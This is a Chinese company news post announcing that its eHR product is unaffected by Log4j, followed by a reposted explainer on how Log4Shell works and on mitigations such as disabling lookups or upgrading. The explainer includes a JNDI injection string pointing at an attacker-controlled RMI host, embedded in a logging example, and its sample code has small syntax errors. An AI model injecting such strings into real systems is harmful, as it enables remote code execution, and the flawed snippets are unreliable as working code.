新闻资讯

NEWS
新闻资讯

首页 > 新闻资讯 > 公司新闻

公告||汇通科技的eHR系统无Log4j问题,附送bug解决方案! 点击量:    日期:2021-12-15

核弹级bug Log4j,相信很多人都有所耳闻了,汇通科技的eHR系统并无此类bug,敬请客户放心使用!

今天就一起看看核弹级别的bug的产生原理以及怎么防止?                                                                       
                                   

1、产生原因

其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。

最简单的日志打印

我们看如下场景:

 

这个场景大家应该很熟悉了,就是用户登录,咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}

很简单,用户如果登陆了,我们通过表单接收到相关name字段,然后在日志中记录上这么一条记录。

这个看起来是很常规的操作了,记录日志为什么会导致bug呢?不要着急,我们接下来往下看。

lookup支持打印系统变量

name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test,那么用户可以输入别的内容么?

 

public void login(string name){
  String name = "{$java:os}";  //用户输入的name内容为  {$java:os}
  logger.info("{},登录了", name); //logger为log4j
}

如果用户在用户名输入框输入{$java:os},那么日志中记录的会是系统相关的信息,上述代码会输出

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

为什么会产生这种奇怪的现象呢?

是因为log4j提供了一个lookup的功能,对lookup功能不熟悉的同学也没有关系,你知道有这么个方法,可以把一些系统变量放到日志中就可以了,如下图

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。

JNDI介绍

很多同学可能对JNDI不是很了解,不过没关系,我用最通俗的话来解释其实就是你自己做一个服务,比如是

jndi:rmi:192.168.9.23:1099/remote

如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」。如果不是很清楚,没关系,下面有张图

 


 

大家还记得我们今天的主角log4j么?如果用户直接在用户名输入框输入JNDI的服务地址

public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

那么只要是你用log4j来打印这么一条日志,那么log4j就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了,

大家想象一下,一个不是你公司的人,却可以在你们公司线上服务器做任何操作,这该是多么的可怕。

2、解决方式

其实如果你了解了这个原理那么解决方式也就一目了然了,

  • 禁用lookup或JNDI服务

罪魁祸首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务,不过一般产生问题的服务都是线上已经在跑的服务,禁用的时候要注意评估一下是否允许。

  • 升级Apache Log4j

这次产生的影响范围主要是在Apache Log4j 2.x <= 2.14.1,所以直接把Log4j升级即可解决。

文章转自公众号,程序员小饭



W6zlrSNyKharLQNac1FA0HcuyYTYCm0uyMvjx3ePG7EVynzh+rkDNtoqsZ3Parzwi6nuLiLpaJrtw5hxGJweCoPpqNhL6q3E2RCbd3wEkAMxq5vPKxyp8b3kpm5GmITeaKgs701lkxEvPRRpd6LWc6dLBGYyDVJ7hhwgWxR3yAuyrruF4fIMsuPvrbqT3cu+4rgnnVrEqNP2SLLq1Gq4PQ==